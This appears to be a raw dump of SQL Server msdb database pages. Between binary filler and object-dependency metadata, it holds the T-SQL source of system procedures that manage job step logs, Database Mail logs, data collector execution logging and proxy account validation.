!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`K<VH}
.0F 	8CREATE PROCEDURE sp_delete_jobsteplog
  @job_id      UNIQUEIDENTIFIER = NULL, -- Must provide either this or job_name
  @job_name    sysname          = NULL, -- Must provide either this or job_id
  @step_id     INT              = NULL,
  @step_name   sysname          = NULL,
  @older_than  datetime         = NULL,
  @larger_than int      = NULL   -- (in megabytes)
AS
BEGIN
  DECLARE @retval      INT
  DECLARE @max_step_id INT
  DECLARE @valid_range VARCHAR(50)

  EXECUTE @retval = sp_verify_job_identifiers '@job_name',
                                              '@job_id',
                                               @job_name OUTPUT,
                                               @job_id   OUTPUT,
                                              'NO_TEST'
  IF (@retval <> 0)
    RETURN(1) -- Failure

  -- Check step id (if supplied)
  IF (@step_id IS NOT NULL)
  BEGIN
    -- Get current maximum step id
    SELECT @max_step_id = ISNULL(MAX(step_id), 0)
    FROM msdb.dbo.sysjobsteps
    WHERE job_id = @job_id
   IF @max_step_id = 0
   BEGIN
      RAISERROR(14528, -1, -1, @job_name)
      RETURN(1) -- Failure 
   END
    ELSE IF (@step_id < 1) OR (@step_id > @max_step_id)
    BEGIN
      SELECT @valid_range = '1..' + CONVERT(VARCHAR, @max_step_id)
      RAISERROR(14266, -1, -1, '@step_id', @valid_range)
      RETURN(1) -- Failure
    END
  END

  -- Check step name (if supplied)
  -- NOTE: A supplied step id overrides a supplied step name
  IF ((@step_id IS NULL) AND (@step_name IS NOT NULL))
  BEGIN
    SELECT @step_id = step_id
    FROM msdb.dbo.sysjobsteps
    WHERE (step_name = @step_name)
      AND (job_id = @job_id)

    IF (@step_id IS NULL)
    BEGIN
      RAISERROR(14262, -1, -1, '@step_name', @step_name)
      RETURN(1) -- Failure
    END
  END


   -- Delete either the specified step or ALL the steps (if step id is NULL)
   
   DELETE FROM msdb.dbo.sysjobstepslogs
   WHERE (step_uid IN (SELECT DISTINCT step_uid 
                        FROM   msdb.dbo.sysjobsteps js, msdb.dbo.sysjobs_view jv
                        WHERE (  @job_id = jv.job_id )
                          AND (js.job_id = jv.job_id )
                          AND ((@step_id IS NULL) OR (@step_id = step_id)))) 
    AND ((@older_than IS NULL) OR (date_modified < @older_than))
    AND ((@larger_than IS NULL) OR (log_size > @larger_than))

  RETURN(@retval) -- 0 means success

END
0qG 8CREATE PROCEDURE sysmail_delete_log_sp
   @logged_before DATETIME   = NULL, 
   @event_type varchar(15)   = NULL
AS
BEGIN

   SET @event_type       = LTRIM(RTRIM(@event_type))
   IF @event_type        = '' SET @event_type = NULL
   DECLARE @event_type_numeric INT

   IF ( (@event_type IS NOT NULL) AND
         (LOWER(@event_type collate SQL_Latin1_General_CP1_CS_AS) NOT IN ( 'success', 'warning', 'error', 'information' ) ) )
   BEGIN
        RAISERROR(14266, -1, -1, '@event_type', 'success, warning, error, information')
      RETURN(1) -- Failure
   END   
   
   IF ( @event_type IS NOT NULL)
   BEGIN
      SET @event_type_numeric = ( SELECT CASE 
                           WHEN @event_type = 'success' THEN 0
                           WHEN @event_type = 'information' THEN 1
                           WHEN @event_type = 'warning' THEN 2
                           ELSE 3 END 
                        )
   END
   ELSE
      SET @event_type_numeric = NULL

   DELETE FROM msdb.dbo.sysmail_log 
   WHERE 
        ((@logged_before IS NULL) OR ( log_date < @logged_before))
   AND ((@event_type_numeric IS NULL) OR (@event_type_numeric = event_type))
END
0G 	8
CREATE PROCEDURE [dbo].[sp_syscollector_event_oncollectionbegin]
    @collection_set_id int,
    @mode smallint = NULL,
    @operator nvarchar(128) = NULL,
    @log_id bigint OUTPUT
AS
BEGIN
    SET NOCOUNT ON

    -- Security check (role membership)
    IF (NOT (ISNULL(IS_MEMBER(N'dc_proxy'), 0) = 1) AND NOT (ISNULL(IS_MEMBER(N'db_owner'), 0) = 1))
    BEGIN
        RAISERROR(14677, -1, -1, 'dc_proxy')
        RETURN(1) -- Failure
    END

    -- Verify parameters
    --

    -- Check the collection_set_id
    IF (@collection_set_id IS NULL)
    BEGIN
        RAISERROR(14606, -1, -1, '@collection_set_id')
        RETURN (1)
    END
    ELSE IF (NOT EXISTS (SELECT collection_set_id FROM dbo.syscollector_collection_sets WHERE collection_set_id = @collection_set_id))
    BEGIN
        DECLARE @collection_set_id_as_char VARCHAR(36)
        SELECT @collection_set_id_as_char = CONVERT(VARCHAR(36), @collection_set_id)

        RAISERROR(14262, -1, -1, '@collection_set_id', @collection_set_id_as_char)
        RETURN (1)
    END


    -- Default operator to currently logged in user
    SET @operator = NULLIF(LTRIM(RTRIM(@operator)), '')
    SET @operator = ISNULL(@operator, suser_sname())

    -- Default mode to Collection
    SET @mode = ISNULL(@mode, 0)

    -- Find the parent log id.
    -- It will be a log entry for the same collection set, with no parent and not finished
    DECLARE @parent_log_id bigint
    SELECT TOP 1 @parent_log_id = log_id FROM dbo.syscollector_execution_log_internal 
        WHERE collection_set_id = @collection_set_id 
        AND parent_log_id IS NULL
        AND (@mode = 1 OR finish_time IS NULL)
        ORDER BY start_time DESC

    -- Insert the log record
    --
    INSERT INTO dbo.syscollector_execution_log_internal (
        parent_log_id, 
        collection_set_id, 
        collection_item_id,
        start_time,
        last_iteration_time,
        finish_time,
        runtime_execution_mode,
        [status],
        operator,
        package_id,
        package_execution_id,
        failure_message
    ) VALUES (
        @parent_log_id,
        @collection_set_id,
        NULL,
        GETDATE(),
        NULL,
        NULL,
        @mode,
        0, -- Running
        @operator,
        NULL,
        NULL,
        NULL
    )

    SET @log_id = SCOPE_IDENTITY()                
    
    RETURN (0)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#
`N<YWMm!H`0H 8
CREATE PROCEDURE [dbo].[sp_syscollector_event_onpackagebegin]
    @parent_log_id bigint,
    @package_id uniqueidentifier,
    @package_execution_id uniqueidentifier,
    @collection_item_id int = NULL,
    @mode smallint = NULL,
    @operator nvarchar(128) = NULL,
    @log_id bigint OUTPUT
AS
BEGIN
    SET NOCOUNT ON

    -- Security check (role membership)
    IF (NOT (ISNULL(IS_MEMBER(N'dc_proxy'), 0) = 1) AND NOT (ISNULL(IS_MEMBER(N'db_owner'), 0) = 1))
    BEGIN
        RAISERROR(14677, -1, -1, 'dc_proxy')
        RETURN(1) -- Failure
    END

    -- Verify parameters
    --

    -- Check the @parent_log_id
    IF (@parent_log_id IS NULL)
    BEGIN
        RAISERROR(14606, -1, -1, '@parent_log_id')
        RETURN (1)
    END
    ELSE IF (NOT EXISTS (SELECT log_id FROM dbo.syscollector_execution_log WHERE log_id = @parent_log_id))
    BEGIN
        DECLARE @parent_log_id_as_char VARCHAR(36)
        SELECT @parent_log_id_as_char = CONVERT(VARCHAR(36), @parent_log_id)

        RAISERROR(14262, -1, -1, '@parent_log_id', @parent_log_id_as_char)
        RETURN (1)
    END

    -- Check the @package_id
    IF (@package_id IS NULL)
    BEGIN
        RAISERROR(14606, -1, -1, '@package_id')
        RETURN (1)
    END
    -- The 84CEC861... package is an id of our special Master package that is allowed to start 
    -- the log without being saved to sysssispackages
    ELSE IF (@package_id != N'84CEC861-D619-433D-86FB-0BB851AF454A' AND NOT EXISTS (SELECT id FROM dbo.sysssispackages WHERE id = @package_id))
    BEGIN
        DECLARE @package_id_as_char VARCHAR(50)
        SELECT @package_id_as_char = CONVERT(VARCHAR(50), @package_id)

        RAISERROR(14262, -1, -1, '@package_id', @package_id_as_char)
        RETURN (1)
    END

    -- Default operator to currently logged in user
    SET @operator = NULLIF(LTRIM(RTRIM(@operator)), '')
    SET @operator = ISNULL(@operator, suser_sname())

    -- Default mode to Collection
    SET @mode = ISNULL(@mode, 0)

    -- Find out the collection_set_id from the parent
    DECLARE @collection_set_id INT
    SELECT @collection_set_id = collection_set_id FROM dbo.syscollector_execution_log WHERE log_id = @parent_log_id

    -- Check the @package_execution_id
    IF (@package_execution_id IS NULL)
    BEGIN
        RAISERROR(14606, -1, -1, '@package_execution_id')
        RETURN (1)
    END
    

    -- Insert the log record
    --
    INSERT INTO dbo.syscollector_execution_log_internal (
        parent_log_id, 
        collection_set_id, 
        collection_item_id,
        start_time,
        last_iteration_time,
        finish_time,
        runtime_execution_mode,
        [status],
        operator,
        package_id,
        package_execution_id,
        failure_message
    ) VALUES (
        @parent_log_id,
        @collection_set_id,
        @collection_item_id,        
        GETDATE(),
        NULL,
        NULL,
        @mode,
        0, -- Running
        @operator,
        @package_id,
        @package_execution_id,        
        NULL
    )

    SET @log_id = SCOPE_IDENTITY()                

    RETURN (0)
END
0yI 8

CREATE PROCEDURE [dbo].[sp_sysutility_mi_validate_proxy_account]
   @proxy_name sysname,
   @credential_name sysname,
   @network_account sysname,
   @password sysname
AS
BEGIN
   DECLARE @retval INT
   DECLARE @null_column    sysname
    
   SET @null_column = NULL

   IF (@proxy_name IS NULL OR @proxy_name = N'')
       SET @null_column = '@proxy_name'
   ELSE IF (@credential_name IS NULL OR @credential_name = N'')
       SET @null_column = '@credential_name'
   ELSE IF (@network_account IS NULL OR @network_account = N'')
       SET @null_column = '@network_account'
   ELSE IF (@password IS NULL OR @password = N'')
       SET @null_column = '@password'

   IF @null_column IS NOT NULL
   BEGIN
       RAISERROR(14043, -1, -1, @null_column, 'sp_sysutility_mi_validate_proxy_account')
       RETURN(1)
   END


   DECLARE @instance_name  nvarchar(128)
   SET @instance_name = ISNULL(CONVERT(nvarchar(128), SERVERPROPERTY('InstanceName')), N'MSSQLSERVER')

   DECLARE @job_name sysname
   DECLARE @job_id uniqueidentifier        
   DECLARE @description nvarchar(512)

   -- Delete the job if it already exists
   SET @job_name = N'sysutility_check_proxy_credentials'
   WHILE (EXISTS (SELECT * FROM msdb.dbo.sysjobs WHERE name = @job_name))
   BEGIN
      EXEC sp_delete_job @job_name=@job_name
   END



   DECLARE @credential_statement nvarchar(4000)
   DECLARE @print_credential nvarchar(4000)
   
   IF EXISTS(select * from master.sys.credentials where name = @credential_name)
   BEGIN
      set @credential_statement = 'DROP CREDENTIAL ' + QUOTENAME(@credential_name)
      RAISERROR (@credential_statement, 0, 1) WITH NOWAIT;
      EXEC sp_executesql @credential_statement
   END


   set @credential_statement = 'CREATE CREDENTIAL ' + QUOTENAME(@credential_name) + ' WITH IDENTITY=N' + QUOTENAME(@network_account, '''') + ', SECRET=N' + QUOTENAME(@password, '''')
   set @print_credential = 'CREATE CREDENTIAL ' + QUOTENAME(@credential_name) + ' WITH IDENTITY=N' + QUOTENAME(@network_account, '''')
   RAISERROR (@print_credential, 0, 1) WITH NOWAIT;
   EXEC sp_executesql @credential_statement

   
   IF EXISTS(SELECT * FROM dbo.sysproxies WHERE (name = @proxy_name))
   BEGIN
      EXEC dbo.sp_delete_proxy @proxy_name=@proxy_name
   END
   
   
   -- Create the proxy and grant it to the cmdExec subsytem
   EXEC dbo.sp_add_proxy @proxy_name=@proxy_name, @credential_name=@credential_name, @enabled=1

   EXEC dbo.sp_grant_proxy_to_subsystem @proxy_name=@proxy_name, @subsystem_id=3


   -- Create the job
	EXEC  msdb.dbo.sp_add_job @job_name=@job_name, 
			@enabled=1,
			@notify_level_eventlog=0, 
			@notify_level_email=2, 
			@notify_level_netsend=2, 
			@notify_level_page=2, 
			@delete_level=0, 
			@category_id=0,
			@job_id = @job_id OUTPUT

	DECLARE @server_name SYSNAME = CONVERT(SYSNAME, SERVERPROPERTY(N'ServerName'))
	EXEC msdb.dbo.sp_add_jobserver @job_name=@job_name, @server_name = @server_name

   DECLARE @collection_step_command nvarchar(512)
   SET @collection_step_command = N'time /T'

   EXEC msdb.dbo.sp_add_jobstep 
          @job_id=@job_id, 
          @step_name=N'Validate proxy account', 
		    @step_id=1, 
		    @cmdexec_success_code=0, 
		    @on_fail_action=2, 
		    @on_fail_step_id=0,
		    @on_success_action=1, 
		    @retry_attempts=0, 
		    @retry_interval=0, 
		    @os_run_priority=0, 
		    @subsystem=N'CMDEXEC',
		    @command=@collection_step_command,
		    @proxy_name=@proxy_name,
		    @flags=16

END
0DI %8((0))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Y

4`]0bXLz0`d8	@6<Dsysschedulesdbomsdb0Ff8	`lrsp_syscollector_stop_collection_set_jobsdbo0Ff8	``fsyscollector_config_store_internaldbo0pp8	@NT\sysdbmaintplan_databasesdbomsdb0ĄX9	pDsp_post_msx_operation0ĄX9	@BHPsp_sqlagent_notifydbomsdb0ĄX9	@PV^sp_verify_job_identifiersdbomsdb0ĄX9	pJsp_verify_jobproc_caller0ĄX9	@Z`hsp_verify_schedule_identifiersdbomsdb0ĄX9	@<BJsysjobschedulesdbomsdb0ĄX9	@8>Fsysjobserversdbomsdb0ĄX9	@HNVsysmaintplan_subplansdbomsdb09	@DJRsysdbmaintplan_jobsdbomsdb09	@<BJsysdbmaintplansdbomsdb09	@,2:sysjobsdbomsdb09	@4:Bsysjobstepsdbomsdb0L:	pDsp_post_msx_operation0L:
	@BHPsp_sqlagent_notifydbomsdb0L:		@PV^sp_verify_job_identifiersdbomsdb0L:	pJsp_verify_jobproc_caller0L:	@Z`hsp_verify_schedule_identifiersdbomsdb0L:	@,2:sysjobsdbomsdb0L:	@<BJsysjobschedulesdbomsdb0L:	@8>Fsysjobserversdbomsdb0L:	@HNVsysmaintplan_subplansdbomsdb0L:	@6<Dsysschedulesdbomsdb0Ff8	`ntsp_syscollector_start_collection_set_jobsdbo09	pTsysschedules_localserver_view09	p4sp_update_job09	`@Fsp_detach_scheduledbo09	`@Fsp_attach_scheduledbo09	p2sp_start_job09	pfsp_syscollector_event_oncollectionstop09	`sp_syscollector_get_collection_set_execution_statusdbo09	`TZsyscollector_collection_setsdbo0:	p2sp_start_job0\8	@fltsyspolicy_policy_categories_internaldbomsdb0\8	`V\sp_syspolicy_check_membershipdbo0Ux9	pxsp_syspolicy_verify_policy_category_identifiers0Ux9	@fltsyspolicy_policy_categories_internaldbomsdb0Ux9	@BHPsyspolicy_policiesdbomsdb0Ux9	@lrzsyspolicy_policy_category_subscriptionsdbomsdb0Ux9	`V\sp_syspolicy_check_membershipdbo0l:	pxsp_syspolicy_verify_policy_category_identifiers0l:	@hnvsyspolicy_policy_categories_internal dbomsdb0l:	`V\sp_syspolicy_check_membershipdbo0l9	@NT\sysutility_ucp_computersdbomsdb0::	@V\dsysutility_ucp_deployed_dacsdbomsdb	p(sysjobs0^?	@,2:sysjobsdbomsdb0^?	@8>Fsysjobserversdbomsdb0^?	@4:Bsysjobstepsdbomsdb0S@	@HNVsp_post_msx_operationdbomsdb0S@	@BHPsp_sqlagent_notifydbomsdb0S@	pLsp_verify_job_identifiers0S@	pJsp_verify_jobproc_caller0S@	p<sp_verify_jobstep0S@		pPsp_verify_proxy_identifiers0S@	@,2:sysjobsdbomsdb0S@	@8>Fsysjobserversdbomsdb0S@	@4:Bsysjobstepsdbomsdb0@	`JPsp_add_jobstep_internaldbo0Ff8	`ntsp_syscollector_start_collection_set_jobsdbo09	pTsysschedules_localserver_view09	p4sp_update_job09	`@Fsp_detach_scheduledbo09	`@Fsp_attach_scheduledbo09	p2sp_start_job09	pfsp_syscollector_event_oncollectionstop09	`sp_syscollector_get_collection_set_execution_statusdbo09	`TZsyscollector_collection_setsdbo0:	p4sp_update_job0:	phsp_syscollector_event_oncollectionstart0:	p2sp_start_job0:	`TZsyscollector_collection_setsdbo0?r>	`bhsyscollector_execution_log_internaldbo0?r>	@^dlfn_syscollector_get_package_pathdbomsdb0cf?	`BHsp_delete_jobserverdbo0cf?	`6<sp_delete_jobdbo0cf?	`@Fsp_detach_scheduledbo0\8	